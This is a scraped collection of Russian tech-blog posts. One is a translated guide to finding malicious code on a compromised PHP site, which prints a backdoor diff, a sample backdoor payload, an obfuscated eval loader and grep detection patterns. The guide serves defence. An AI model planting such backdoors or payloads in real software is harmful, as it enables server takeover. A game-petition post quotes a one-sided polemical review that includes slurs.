...

суббота, 3 августа 2013 г.

Exim+Dkim, избавление от страхов


сегодня в 21:21


image

Привет всем.

Если Вы прошаманив несколько дней над Exim и Dkim так и не смогли подписать свои письма, тогда эта статься для вас.

Недавно понадобилось настроить сервер для массовой рассылки, воспользовался постом habrahabr.ru/post/173605/, а также темами в подвале поста. Все сделал по инструкции, но письма по прежнему не были подписаны.



Все проводилось на Centos 6.4 + VestaCp.

Выясняя причину, облазил кучу форумов, перечитал кучу постов и мануалов, а дело стояло на одном месте. Письма через EXIM слались, но без подписи DKIM. Решил отставить в сторону все и попробовать найти проблему самому. Определив что с Exim все хорошо, попробовал перезапустить service dkim-milter restart. Dkim не запускался. «Следовательно проблема в нем» — обрадовался я.

Открыв nano /etc/mail/dkim-milter/keys/keylist у видел что он пуст.

Ключи для моего домена лежат в виде /home/admin/conf/mail/DOMAIN.COM/dkim.pem, следовательно добавив в список ключей строчку *:DOMAIN.COM:/home/admin/conf/mail/DOMAIN.COM/dkim.pem и запустив Dkim service dkim-milter start все заработало!





Developers, stick with Russians – work in London




Переводы с

карты на карту


Переводы

через QR-Код


Новая функция

«Мой контроль»



Только зарегистрированные пользователи могут оставлять комментарии. Войдите, пожалуйста.


This entry passed through the Full-Text RSS service — if this is your content and you're reading it on someone else's site, please read the FAQ at fivefilters.org/content-only/faq.php#publishers. Five Filters recommends: 'You Say What You Like, Because They Like What You Say' - http://www.medialens.org/index.php/alerts/alert-archive/alerts-2013/731-you-say-what-you-like-because-they-like-what-you-say.html


[Перевод] Как узнать, что ваш PHP сайт был взломан

Сайт моего друга недавно был взломан, на нем была запущена старая версия IP.Board, в которой есть уязвимость локального внедрения кода (local file inclusion). Этот пост не будет посвящен IP.Board или другому php коду, он покажет, как найти потенциально вредоносный php код на ваших серверах. Наконец, покажу пример того, что злоумышленники могут загрузить на взломанный сайт.

Проверьте логи доступа




Что бы с чего-то начать, я бы хотел поделиться некоторыми записями из журнала доступа (access log) взломанного сайта моего друга.

IpreMOVED - - [01/Mar/2013:06:16:48 -0600] "POST /uploads/monthly_10_2012/view.php HTTP/1.1" 200 36 "-" "Mozilla/5.0"
IpreMOVED - - [01/Mar/2013:06:12:58 -0600] "POST /public/style_images/master/profile/blog.php HTTP/1.1" 200 36 "-" "Mozilla/5.0"




Необходимо часто проверять журналы доступа на сервере, однако если вы не будете осторожны, URL такие как выше, которые на первый взгляд выглядят безобидно, могут пройти прямо мимо вас.

Два файла выше это загруженные взломщиком скрипты, как они туда попали, большой роли не играет, так как код на любых двух серверах, вероятно, будет различным. Тем не менее, в данном конкретном примере, уязвимость в устаревшей версии IP.Board была использована, и атакующие смогли добавить свои собственные скрипты в директории доступные для записи, такие как пользовательский каталог загрузки и каталог, в котором IP.Board хранит кэшированные изображения темы оформления. Это общий вектор атаки, много людей изменяют права на эти каталоги на 777 или дают им доступ на запись, подробнее об этом чуть позже.


Рассмотрим подробнее приведенные выше строки журнала, ничего не цепляет вас?


Обратите внимание, что в журнале доступа POST запросы, а не GET запросы.

Скорее всего, злоумышленники хотели сделать журнал доступа более неприметным, так как большинство журналов не сохраняют post данные.


Выявление вредоносных PHP файлов




Есть несколько способов, что бы выявить подозрительные php файлы на вашем сервере, вот самые лучшие.

Подсказка: эти команды, выполняйте из корневой директории вашего сайта.
Поиск недавно измененных PHP файлов



Давайте начнем с простого, скажем, вы не делали никаких изменений в php коде некоторое время, следующая команда ищет все php файлы в текущем дереве каталогов, которые изменились за последнюю неделю. Можете изменить опцию mtime по желанию, например mtime -14 в течении двух недель.

find . -type f -name '*.php' -mtime -7



Мой взломанный сервер возвратил такие результаты:

./uploads/monthly_04_2008/index.php
./uploads/monthly_10_2008/index.php
./uploads/monthly_08_2009/template.php
./uploads/monthly_02_2013/index.php




Все эти скрипты загружены злоумышленником в директорию загрузки пользователя.

Примечание: эта команда будет выдавать ложные результаты, если вы сами изменяли php файлы в данных период времени. Следующие методы являются гораздо более эффективными.
Искать все PHP файлы с подозрительным кодом



Это далеко не лучший подход, следующие команды ищут php файлы содержащие атакующие сценарии. Мы начнем с простого и получим больше с помощью расширенного поиска.

Первая проверка файлов которая содержит eval, base64_decode, gzinflate или str_rot13.



find . -type f -name '*.php' | xargs grep -l "eval *(" --color
find . -type f -name '*.php' | xargs grep -l "base64_decode *(" --color
find . -type f -name '*.php' | xargs grep -l "gzinflate *(" --color




Подсказка: первый параметр поиска это директория поиска, точка означает текущий каталог (и все вложенные каталоги). Можно изменить этот параметр в любое существующее имя каталога для уменьшения результатов поиска, например:

find wp-admin -type f -name '*.php' | xargs grep -l "gzinflate *(" --color




Если вы удалите опцию -l из grep, он будет показывать текст совпавшего файла. Чтобы пойти дальше я бы воспользовался этой объединенной командой, которая является более общей

find . -type f -name '*.php' | xargs grep -l "eval *(str_rot13 *(base64_decode *(" --color



Эта команда найдет php файлы содержащие eval(str_rot13(base64_decode(

Синтаксис grep очень прост и вы можете изменить его под свои нужды. Взгляните на выражение сверху, по которому мы ищем, это «eval *(str_rot13 *(base64_decode *(»

Пробел следующий за * означает ноль или более символов пробела. Выше приведенное выражение будет справедливо для следующих строк:

eval(str_rot13(base64_decode
eval( str_rot13( base64_decode
eval( str_rot13( base64_decode




Совет: расширьте выражение для поиска функций, которые могут быть использованы злонамеренно, такие как mail, fsockopen, pfsockopen, stream_socket_client, exec, system и passthru. Можно скомбинировать все эти значения в одну команду:

find . -type f -name '*.php' | xargs egrep -i "(mail|fsockopen|pfsockopen|stream_socket_client|exec|system|passthru|eval|base64_decode) *\("




Примечание: мы используем egrep, а не grep, это позволяет использовать расширенные регулярные выражения.

Наконец, вот не менее известный способ, что бы скрыть код:

preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'5b19fxq30jD8d/wp5C3tQoMx4CQ

FILE GOES ON FOR A LONG TIME......

lnSELWEZJakW9R3f7+J+uYuFiiC318gZ9P8C'\x29\x29\x29\x3B",".");




preg_replace с e модификатором будет исполнять этот код, он выглядит необычно, однако это просто сжатый в формате base64 php код использующий некоторые шестнадцатеричные коды символов.

\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28 переводится как eval ( gzinflate ( base64_decode (, а \x29\x29\x29\x3B, как )) ) ;

Эта команда поможет вам найти использование preg_replace:



find . -type f -name '*.php' | xargs egrep -i "preg_replace *\((['|\"])(.).*\2[a-z]*e[^\1]*\1 *," --color




Совет: если вы получаете тонну результатов выполнения данной команды, можно сохранить результат в файл или перенаправить их в другую программу под названием less, которая позволяет просматривать результаты по одной странице за раз. Клавиша f отвечает за прокрутку вперед, клавиша q за выход.

find . -type f -name '*.php' | xargs grep base64_ | less
find . -type f -name '*.php' | xargs grep base64_ > results.txt




С любыми выше приведенными командами поиска можно поступить в том же духе.

Совет обратили внимание на шестнадцатеричную x29 в конце? Это закрывающая скобка, а x3B точка с запятой. Вы можете убедиться в этом запустив:



echo chr(hexdec('x29'));
echo chr(hexdec('x3B'));
// outputs );




Можете использовать find для поиска этих шестнадцатеричных кодов в php файлах для дальнейшей проверки.

find . -type f -name '*.php' | xargs grep -il x29



Это хороший подход если вы знаете, что не используете в коде шестнадцатеричные значения.
Констатируем факты



Большинство методов, предполагают, что злоумышленник загружает на север файлы и использует некоторые формы обфускации кода, когда другие злоумышленники могут просто изменить существующий php код. В этом случае код может выглядеть естественно и соответствовать стилю существующего сценария либо может быть запутанным.

Для того что бы решить эту проблему вам нужна чистая копия вашего кода, если вы пользуетесь широко распространенными php скриптами, например wordpress, vbulletin, IP.Board и т.д. — все готово. Если нет, надеюсь вы используете git или другие системы контроля версий и вы можете получить чистую версию вашего кода.


Для этого примера я буду использовать wordpress.


У меня есть две папки wordpress-clean, которая содержит только что скачанную копию wordpress и wordpress-compromised, которая содержит угрозу где-то в файлах.



drwxr-xr-x 4 greg greg 4096 Mar 2 15:59 .
drwxr-xr-x 4 greg greg 4096 Mar 2 15:59 ..
drwxr-xr-x 5 greg greg 4096 Jan 24 15:53 wordpress-clean
drwxr-xr-x 5 greg greg 4096 Jan 24 15:53 wordpress-compromised




Я могу найти различия между моим установленным wordpress и чистым wordpress, выполнив команду:

diff -r wordpress-clean/ wordpress-compromised/ -x wp-content



Я исключил wp-content из этого поиска, ведь каждый имеет собственные темы и плагины.

Совет: убедитесь, что вы используете ту же версию wordpress для сравнения.

Вот результаты моего поиска:



diff -r -x wp-content wordpress-clean/wp-admin/includes/class-wp-importer.php wordpress-compromised/wp-admin/includes/class-wp-importer.php
302a303,306
>
> if (isset($_REQUEST['x'])) {
> eval(base64_decode($_REQUEST['x']));
> }




Он обнаружил вредоносный код!
Из любопытства...



Что может сделать злоумышленник с этими 3 строками кода? Во-первых, атакующий узнал бы полезную информацию:

$payload = "file_put_contents(\"../../wp-content/uploads/wp-upload.php\", \"<?php\nphpinfo();\");";
echo base64_encode($payload);
// output: ZmlsZV9wdXRfY29udGVudHMoIi4uLy4uL3dwLWNvbnRlbnQvdXBsb2Fkcy93cC11cGxvYWQucGhwIiwgIjw/cGhwCnBocGluZm8oKTsiKTs=




Затем он отправил бы GET или POST запрос по адресу http:/ /YOURSITE/wp-admin/includes/class-wp-importer.php с параметром x содержащий сценарий созданный выше. В результате его выполнения будет создан файл /wp-content/uploads/wp-upload.php, который выводит информацию о вашем сервере. Это вроде не плохо, но дело в том что злоумышленник может запустить любой php код, который пожелает.

Примечание: это сработает только если каталог wp-content/uploads будет доступен для записи. Почти всегда в зависимости от настроек веб сервера вы можете изменять права чтения/записи на другие файлы.
Всегда ищите каталоги доступные для загрузки исполняемого кода



Используя методы, которые представлены выше, легко найти php код в вашей загрузочной директории. Для wordpress это было бы:

find wp-content/uploads -type f -name '*.php'



Совет: вот очень простой bash скрипт, который ищет директории доступные для записи и php файлы в них. Результат будет сохранен в файл results.txt. Скрипт работает рекурсивно.

#!/bin/bash

search_dir=$(pwd)
writable_dirs=$(find $search_dir -type d -perm 0777)

for dir in $writable_dirs
do
#echo $dir
find $dir -type f -name '*.php'
done




Назовите файл search_for_php_in_writable и дайте ему права на исполнение

chmod +x search_for_php_in_writable



Сохраните этот файл в вашем домашнем каталоге, а затем перейдите в каталог в котором вы собираетесь искать и выполните следующую команду:

~/search_for_php_in_writable > results.txt
~/search_for_php_in_writable | less




Примечание: если ваш сайт находится на виртуальном хостинге и веб-сервер не безопасно настроен, ваш сайт может оказаться не единственным подверженным атаке. Общая загрузка php shell на уязвимых сайтах, по существу является инструментом, который дает злоумышленнику файл-браузер. Они могут использовать этот инструмент, что бы загрузить атакующие скрипты по всем папкам на сервере доступных для записи, например каталог загрузки.

Примечание: взломщики обычно пытаются загрузить изображения, которые содержат php код, поэтому проверяйте и другие расширения, методами перечисленными выше.

find wp-content/uploads -type f | xargs grep -i php
find wp-content/uploads -type f -iname '*.jpg' | xargs grep -i php




Не верите? Этот файл был загружен как jpg изображение на взломанный сайт. Похоже он был ошибочно принят за бинарные данные. Вот тот же файл в более «читаемом» формате.

Все еще не можете прочитать? Так же как и я до более глубокой проверки. Весь этот код предназначен для запуска этой функции:



if(!defined('FROM_IPB') && !function_exists("shutdownCallback") and @$_SERVER["HTTP_A"]=="b") {
function shutdownCallback() {
echo "<!--".md5("links")."-->";
}
register_shutdown_function("shutdownCallback");
}




Что делает этот скрипт не имеет значения, вы должны усвоить, нужно проверять ваше загрузочные директории.

Если вам интересно, это просто пробный сценарий, что бы увидеть, является ли узел уязвимым, нападение произошло позже.
Где еще может скрываться вредоносный код?



Если ваш php код динамически генерирует содержимое страницы и ваш сайт был взломан, взломщик может записать вредоносный код в базу данных. Вы так же можете провести более тщательную проверку.

Перейдите на ваш сайт, после загрузки страницы посмотрите ее исходный HTML код и сохраните его где-то на вашем компьютере, например mywebsite.txt; Выполните следующую команду



grep -i '<iframe' mywebsite.txt




Взломщики часто вставляют iframe на взломанные сайты, проверьте все страницы сайта!

Совет: используйте расширение firebug для firefox, что бы просмотреть содержимое html вашего ресурса, злоумышленник может использовать javascipt для создание iframe, они не будут отображаться при просмотре исходного кода страницы в браузере, потому что DOM изменяется после загрузки страницы. Существует так же расширение Live HTTP Headers для firefox, которое покажет все текущие запросы на вашей странице. Это позволит легко увидеть веб запросы, которых не должно быть.

Поиск в базе данных




Возможно что злоумышленник добавил код в базу данных. Это будет только в том случае если ваш скрипт хранит пользовательский код, например плагины, в базе данных. Так делает vBulletin. Хотя это бывает редко, но вы должны это знать. Если вы в этом случае были взломаны, то злоумышленник вероятно вставить iframe в таблицы, которые отображают данные на вашем сайте.

В этом примере мы будем использовать mysql или его производные.


Для этого я бы хотел воспользоваться PHPMyAdmin и это для меня не обычно, я предпочитаю использовать инструменты командной строки, кода они доступны, однако этот инструмент является удобным для поиска.


Лично я не запускаю PHPMyAdmin на рабочем сервере, я скачиваю копию базы данных и запускаю ее на локальном сервере. Если база данных большая, не рекомендуется искать небольшие куски текста на рабочем сервере.


Откройте PHPMyAdmin выберите базу данных и нажмите 'Search'. Вы можете искать такие строки как %base64_% и %eval(%, и любые другие сочетания, которые я уже изложил.


Проверьте .htaccess файлы, если вы используете Apache




Если вы используете веб-сервер Apache, проверьте .htaccess файлы на подозрительные изменения.

auto_append_file и auto_prepend_file включают другие php файлы в начале или в конце всех php скриптов, злоумышленники могут использовать их для включения своего кода.



find . -type f -name '\.htaccess' | xargs grep -i auto_prepend_file;
find . -type f -name '\.htaccess' | xargs grep -i auto_append_file;




Следующая команда ищет во всех подкаталогах файлы .htacсess, которые содержат 'http'. Результатом поиска будет список всех правил перенаправлений, в которых могут быть и вредоносные правила.

find . -type f -name '\.htaccess' | xargs grep -i http;



Некоторые вредоносные перенаправления базируются на основе user agent. Было бы не плохо поискать использования HTTP_USER_AGENT в .htaccess файлах. Предыдущие команды можно легко изменить, просто поменяйте ключевое слово перед точкой замятой.

Для повышения уровня безопасности, если вы можете, отключите использование .htaccess в каталогах и переместите вашу конфигурацию в основную конфигурацию apache.


В «реальном мире»




Итак, почему люди хотят взломать ваш сайт, что это значит для них? Для одних это хобби, а для других источник дохода.

Вот пример атакующего скрипта загруженного на взломанный сайт. Он основан исключительно на post операциях, большинство логов веб серверов были бы бесполезны в данном случае. Я смог получить логи post запросов:



Array
(
[lsRiY] => YGFsZWN2bXBCY21uLGFtbw==
[eIHSE] => PNxsDhxNdV
[mFgSo] => b2NrbmtsLzIwLG96LGNtbixhbW8=
[dsByW] => PldRR1A8Y3BhamtnXWprYWlxPi1XUUdQPAg+TENPRzwgQ3BhamtnIkprYWlxID4tTENPRzwIPlFX
QEg8RFU4IlRoImNlcGMiMywiMjIiQWgiY25rcSIwLCIyMj4tUVdASDwiCD5RQE1GWzwIPkA8CD5m
a3Q8PmMianBnZD8ganZ2cjgtLWhndnh4aW5rYWlnbCxhbW8tdXIva2xhbndmZ3EtUWtvcm5nUmtn
LUZnYW1mZy1KVk9OLW5rYCxyanIgPFRoImNlcGMiMywiMjIiQWgiY25rcSIwLCIyMj4tYzw+LWZr
dDwIPi1APAg+cjxqY3JyZ2wuImNsZiJ1amdsInZqZyJgbXsicGdjYWpnZiJjZWNrbCJrbHZtInZq
ZyJ2bXsiYG16IksiZG13bGYib3txZ25kIkxndGdwImpnY3BmIm1kImt2LHZqZyIicmptdm1lcGNy
anEibWQidmpnImNwdmtkY2F2InZqY3YidWcidWdwZyJubW1pa2xlImRtcCIiY2xmIiJyY3FxZ2Yi
UnducWciImVtbWYuImpnInFja2YuImlsZ2dua2xlImBncWtmZyJtd3AiZHBrZ2xmLCJKZyJqY3Ei
InZjaWdsIiI+LXI8CD4tUUBNRls8CA==

[GGhp] => a3ZAbFFTSlJSbFo=
[AIQXa] => e3VWT2VvQ0hyS0ha
)




Вредоносный скрипт в основном SPAM зомби, который будет отправлять любой email кому угодно, который использует ваш сервер для отправки писем, через post запрос. Ключи в каждом post запросе могут изменятся и скрипт очень находчивый, он проверяет установленные функции и приспосабливается к этому. Например если php mail() недоступен, он будет пытаться создать сокет на 25 порту и отправлять электронную почту непосредственно через SMTP.

Если вам интересно расшифровать данные злоумышленников, воспользуйтесь функцией которая называется n9a2d8ce3. Загадочные данные POST проставляют адрес назначения и содержание e-mail.


Если вы используете советы данные в этой статье, вам не составит труда обнаружить подобный скрипт.


Заключение




Если вы используете общедоступные php скрипты, как wordpress, обращайте внимание на критические или обновления для системы безопасности не только для базовой установки, но и для расширений, таких как плагины. Большинство нападающих будут пытаться найти тысячи сайтов с известными уязвимостями, так что если вы уязвимы, вас найдут в конце концов.

Если вы работаете над шабашкой, все равно код нужно постоянно проверять, ведь не должно быть уязвимостей в библиотеках, которые вы используете.


This entry passed through the Full-Text RSS service — if this is your content and you're reading it on someone else's site, please read the FAQ at fivefilters.org/content-only/faq.php#publishers. Five Filters recommends: 'You Say What You Like, Because They Like What You Say' - http://www.medialens.org/index.php/alerts/alert-archive/alerts-2013/731-you-say-what-you-like-because-they-like-what-you-say.html


Наглядное представление активности коммитов SVN в терминале


сегодня в 18:51


В небольших личных проектах я использую SVN и bug-трекером в таких случаях служит лист формата A4. svn log никогда не был легко читаем для меня, поэтому я написал bash-скрипт, позволяющий наглядно видеть активность разработки за последнее время или список коммитов заданной даты:

image



#!/bin/bash

usage='usage:
./svn_log <days> OR ./svn_log <date>

examples:
./svn_log 10 OR ./svn_log 2013-08-02'

# svn log в переменную чтобы обойтись одним вызовом
svn_log=`svn log`

# 1. получаем входной параметр - количество дней ($days) или дата в формате YYYY-MM-DD ($date)
param=$1
if [ -n "$param" ]; then
if [[ "$param" =~ ^[0-9]+$ ]] ; then
days="$param"
elif [[ "$param" =~ ^[0-9]{4}-[0-9]{2}-[0-9]{2}$ ]]; then
date="$param"
else
echo "$usage"
exit 1
fi
else
days=7 # по умолчанию показываем статистику коммитов за прошедшую неделю
fi

# 2. запуск без параметра или с числовым параметром - статистика коммитов по дням
if [ -n "$days" ]; then
for (( i=0; i<$days; i++ ))
do
# получаем дату каждого для в формате YYYY-MM-DD
day=`date +"%Y-%m-%d" --date "$end -$i day"`

# используем полученную дату для поиска по svn log
num_commits=$(echo "$svn_log" | grep "$day" | wc -l)

# вывод результатов
echo -ne "$day "
for (( c=0; c<$num_commits; c++ )); do
echo -ne '#'
done
echo ''
done
fi

# 3. запуск с параметром даты - перечень коммитов в указанный день
if [ -n "$date" ]; then
echo "$svn_log" | grep -A 2 -B 1 "$date" | awk "NR%4==0"
fi


Скачать скрипт: pastebin.com


Буду рад, если этот инструмент пригодится кому-либо еще.





Developers, stick with Russians – work in London




Переводы с

карты на карту


Переводы

через QR-Код


Новая функция

«Мой контроль»



Только зарегистрированные пользователи могут оставлять комментарии. Войдите, пожалуйста.


This entry passed through the Full-Text RSS service — if this is your content and you're reading it on someone else's site, please read the FAQ at fivefilters.org/content-only/faq.php#publishers. Five Filters recommends: 'You Say What You Like, Because They Like What You Say' - http://www.medialens.org/index.php/alerts/alert-archive/alerts-2013/731-you-say-what-you-like-because-they-like-what-you-say.html


На реализацию антипиратского закона потребуется около 100 миллионов рублей из госбюджета


сегодня в 18:37



А точнее, 97 миллионов рублей, которые запрошены Роскомнадзором. Звукозаписывающие студии и прочие правообладатели пролоббировали принятие антипиратского закона, о котором уже много раз писали на Хабре. Однако, вряд ли эти организации собираются финансировать работу правительства по выполнению положений этого закона. Само собой, эти деньги будут запрошены у государства, ведь государство же приняло закон.


Роскомнадзор собирается создать отдельное подразделение на 25 человек, которые и будут заниматься исключительно выполнением задач, связанных с положениями указанного выще закона. Кроме того, планируется (вернее, пока предлагается) увеличить штат территориальных органов Роскомнадзора до 92 человек. На все это и требуются означенные 97 миллионов рублей.


Сам Роскомнадзор, по плану, будет заниматься рассылкой уведомлений хостинг-компаниям о нарушениях, рассылкой уведомлений владельцам сайтов. Если провайдеры/владельцы сайтов не будут реагировать, планируется связываться с провайдерами связи, с требованием блокировать тот либо иной ресурс, распространяющий нелегальный контент. Роскомнадзор же будет вести реестр ресурсов, подлежащих блокировке.


Ну, а поскольку все это требует большого количества работы/временных затрат, то и суммы, как видим, немаленькие.


Via digit





Developers, stick with Russians – work in London




Переводы с

карты на карту


Переводы

через QR-Код


Новая функция

«Мой контроль»



Только зарегистрированные пользователи могут оставлять комментарии. Войдите, пожалуйста.


This entry passed through the Full-Text RSS service — if this is your content and you're reading it on someone else's site, please read the FAQ at fivefilters.org/content-only/faq.php#publishers. Five Filters recommends: 'You Say What You Like, Because They Like What You Say' - http://www.medialens.org/index.php/alerts/alert-archive/alerts-2013/731-you-say-what-you-like-because-they-like-what-you-say.html


DFA: летающий робот-трансформер


В мультиках и фильмах о роботах-трансформерах особую радость поклонников этого жанра вызывает возможность слияния нескольких роботов в единое целое, обладающее качественно иными, чем отдельный робот, свойствами. Конечно, до реальных роботов, наделенных искусственным интеллектом, способных рассуждать, обороняться и нападать, еще далеко. Но описанный выше принцип уже реализовали на практике. Команда разработчиков из Цюриха создала несколько летающих роботов, которые умеют определять местоположение друг друга, а также собираться на лету в единый летательный аппарат.


Проект разрабатывается объединенной группой исследователей из IDSC и Швейцарской высшей технической школы. Само собой, здесь не обошлось и без 3D-печати: корпуса роботов созданы при помощи 3 принтера. Корпус — шестигранный, и каждый робот оснащен магнитами, плюс двигателем с винтами (само собой, есть еще и модуль, позволяющий роботам определять местоположение друг друга).


Когда роботы летают сами по себе, они действуют вразнобой, перемещаясь, как приходится. Но они «умеют» собираться в единое целое, перемещаясь затем в воздухе, как система. При этом каждый элемент системы определяет, в каком режиме должен работать собственный двигатель в конкретный момент времени, чтобы система летела в заданном направлении. При этом объединенная система «умеет» и садиться, не просто летать.


Управляется система либо оператором, при помощи джойстика, либо посредством внешних датчиков, включая GPS-модули. В настоящее время проект представлен в качестве демонстрации возможностей распределенного летающего строя, и практической цели не несет. В дальнейшем, как надеются разработчики, принцип, заложенный в основе проекта, можно будет использовать для транспортных систем нового типа. Стоит отметить, что работа над проектом распределенного летающего строя была начата еще в 2008 году, и сейчас мы видим отличные результаты:



via <ahref=«www.wired.com/design/2013/07/distributed-flight-array-modular-self-assembling-flying-robots/»>wired


This entry passed through the Full-Text RSS service — if this is your content and you're reading it on someone else's site, please read the FAQ at fivefilters.org/content-only/faq.php#publishers. Five Filters recommends: 'You Say What You Like, Because They Like What You Say' - http://www.medialens.org/index.php/alerts/alert-archive/alerts-2013/731-you-say-what-you-like-because-they-like-what-you-say.html


Петиции, требующие запретить игру «Company of Heroes-2» в СНГ, набрали около 15 тысяч подписей

25 июня 2013 года на мировом и российском рынках появилась долгожданная новинка — компьютерная игра «Company of Heroes 2» от канадской студии Relic (ныне выкупленной фирмой SEGA).На тот момент никто и не предполагал, какой ажиотаж вызовет игра и что по какой причине это произойдёт. Спустя месяц после её выхода в сети сначала появился разоблачающий видеообзор от студии CarambaTV, а следом одна за другой возникли две петиций от возмущенных пользователей с требованием запретить данный продукт на территории РФ:

Каждое из этих обращений уже подписали более 14 тысяч человек (петицию к 1С — 18.5 тысяч), и их инициаторы не намерены останавливаться на достигнутом.Поводом для столь кардинальных решений послужило содержание игры, с которым подавляющее большинство российских граждан оказались совершенно не согласны.

Если ознакомится со всеми оценками игры, станет очевидно, что её авторы взяли за основу сценария альтернативную версию исторических событий времён Великой Отечественной войны. Таким образом, как считают авторы петиций, создатели «Роты героев» полностью исказили правду о советских солдатах представив их предателями, трусами и садистами, напрочь лишенными не только геройских, но и человеческих черт. Особенно настораживает тот факт, что главной аудиторией игры является молодёжь и даже дети, которые вряд ли читают историческую литературу и вполне могут принять изображённые образы за чистую правду. Преставить весь масштаб угрозы здоровому воспитанию подрастающего поколения можно прочитав один из более ярких обзоров игры.


один из ярких обзоров игры
Хотя название игры переводится как «Рота Героев», не вводите себя в заблуждение этим обманчивым тайтлом. Ибо советские солдаты и командиры здесь меньше всего на свете похожи на героев: первые мечтают свалить с линии фронта и только вездесущие заградотряды заставляют эту толпу трусов и дезертиров отстаивать свою же землю, вторые – расстреливают своих же и делают максимально возможные усилия, чтобы погибло побольше их подчинённых. Во всей кампании едва ли найдётся хоть одно неомерзительное действие советских военных. Советские солдаты поджигают дома с собственными невинными жителями. Советские солдаты хором в запой расстреливают безоружных пленных. Советские командиры спецом дожидаются пока до моста добегут собственные солдаты, чтобы тут же из взорвать. Советские военные подло предают и стреляют в спину тем, кто только что им помог. Порой офигев от такого накала ПРАВДЫ и «исторических разоблачений» в стиле а-ля Михалков, уже просто пялишься в экран и ждёшь, когда увидишь советских солдат едящих человеческое мясо или советских солдат жарящих на костре детей (попарно, как своих, так и немецих). Такие моменты были бы абсолютно в духе Company of Heroes 2, провозглашающей максимум хардкора: никаких не то, что героических, но даже человеческих черт у советских унтерменшей не должно быть показано!

Лишь главгерой, Lev Abramovich Isakovich – свет в конце туннеля, где все остальные, кроме него, трусы, предатели или садисты, единственный честный, незапуганный, сидит в Gulag (как и всякий честный человек) и рассказывает нам частично упомянутую выше историческую правду…


Кого же имели ввиду разработчики в названии «Company of Heroes»? Lev Abramovich ведь, как ни крути, всего один. Скорее всего, нацистов, которые хотели избавить мир от этих трусливых, подлых, садистических недочеловеков, которые хорошо умеют только бесконечно бежать на пулемёты без оружия.


Лишь однажды, похоже, перед сценаристом возникла дилемма: ведь несмотря на то, что показываемая им Красная Армия воюет исключительно забрасыванием трупами из катапульт и расстрелом солдат за подвиги, она каким-то чудом оказалась в Берлине. Эту маленькую неувязочку решили гениально просто: в брифинге нам настойчиво талдычат, что немцев разбил «генерал Мороз», плохие дороги и застревающие в гусеницах немецких танков внутренности советских солдат, а во всех бедах войны виноват Soviet regime, которому просто захотелось фотку с Рейхстагом.


Сами же разработчики не чувствуют себя виноватыми и наоборот переходят в контратаку, утверждая, что всё изобразили «сбалансировано», а мы, жители бывшего СССР, просто слишком хорошего мнения про свою историю. (Как добавляют вторящие разработчикам либералы – «промыты советским образованием и расстроены, что СССР показан не идеальным») Ну да, дорогой читатель, здесь и вправду есть две стороны правды о СССР: есть хорошая, в виде правдолюба Льва Абрамовича и его бегущих на пулемёты болванчиков и плохая – в виде всего остального советского.




Учитываю дерзкую реакцию создателей игры, обида российских пользователей становится только острее. Помимо сбора подписей к петициям, активисты также призывают подключится к процессу российские власти. Раз уж в стране во всю продвигаются законы о блокировании сайтов с нелицензионными фильмами, то и с игрой растаптывающей чувства ветеранов следует всё-таки разобраться. Возмущенные пользователи Рунета уже снизили рейтинг игры на метакритике до 1.6 (из 10), и поставили огромное количество дислайков официальному трейлеру игры на youtube (дислайков уже больше чем лайков).


Пока, как сообщается на страницах петиций, руководство фирм «1С» и «Valve» никак не отреагировало на петиции. Видимо ключевую роль играет объём ожидаемой выручки от продажи игры. «Company of Heroes-2» стала лидером продаж коробочной версии игры в сети «1С-Интерес» в СНГ в первые недели после начала продаж.


Поэтому противостояние продолжается.Создавая и подписывая петиции, неравнодушные граждане рассчитывают как минимум оказать воспитательное воздействие на структуру «1С». Поскольку, даже если игра не будет запрещена, то впредь компания станет более тщательно подходить к выбору игр для локализации под рынок СНГ.


Подписавшие петиции также надеются, что студии по разработке игр со всего мира усвоят этот урок, и будут более серьёзно подходить к выбору роли русскоязычных персонажей в их играх и исторической достоверности, так как не захотят потерять доход от продаж в странах СНГ.


Возможно, читателям Хабра известны случаи, когда продажу другой компьютерной игры запрещали в какой-либо отдельной стране после возмущения пользователей?


PS: Тем временем, в многопользовательской онлайн игре «World of tanks» на американских и европейских серверах отныне под запретом любая надпись с упоминанием Иосифа Сталина (даже латиницей) на советских танках времен Великой Отечественной войны. Таково требование европейцев.


P.P.S Публикую этот текст по просьбе Петра Морозова petyamorozov.


This entry passed through the Full-Text RSS service — if this is your content and you're reading it on someone else's site, please read the FAQ at fivefilters.org/content-only/faq.php#publishers. Five Filters recommends: 'You Say What You Like, Because They Like What You Say' - http://www.medialens.org/index.php/alerts/alert-archive/alerts-2013/731-you-say-what-you-like-because-they-like-what-you-say.html


Убийственная вкладка в Chrome


сегодня в 16:10


Навеяно топиком Незакрываемая вкладка


Недавно во-время написание своего проджекта случайно создал много-много больших элементов canvas. Как следствие перезапускал свою OS.

Решил проверить и действительно не у одного меня такие симптомы от посещение ссылки — зжираеться вся оперативная память и активно используется хард диск. Иногда хром просто падает.


Пруф для храбрых


Относительно мобильных браузеров то chrome / safari / opera на iOS и андроиде, то они просто выключаются.





Developers, stick with Russians – work in London




Переводы с

карты на карту


Переводы

через QR-Код


Новая функция

«Мой контроль»



Только зарегистрированные пользователи могут оставлять комментарии. Войдите, пожалуйста.


This entry passed through the Full-Text RSS service — if this is your content and you're reading it on someone else's site, please read the FAQ at fivefilters.org/content-only/faq.php#publishers. Five Filters recommends: 'You Say What You Like, Because They Like What You Say' - http://www.medialens.org/index.php/alerts/alert-archive/alerts-2013/731-you-say-what-you-like-because-they-like-what-you-say.html


[Из песочницы] Любовь и ненависть к Java 8

Похоже Java 8 самый ожидаемый релиз всех времен. Изначально планирующий релиз на сентябрь прошлого года, перенесли на март следующего года, предположительно для того, что бы потратить больше времени на доработки безопасности, в основном направленные на клиентскую часть Java (JavaFX/Swing).

Новая версия Java пытается “совершенствоваться” так, как понимает это слово Microsoft. Это означает кражу большой части вещей, о которых заботились другие фреймворки и языки, затем включение их в язык или runtime. В преддверии нового релиза, сообщество Java обсуждает Project Lambda, stream, functional interfaces и другие плюшки. Так давайте рассмотрим что хорошо, а что мы можем возненавидеть.



Stream




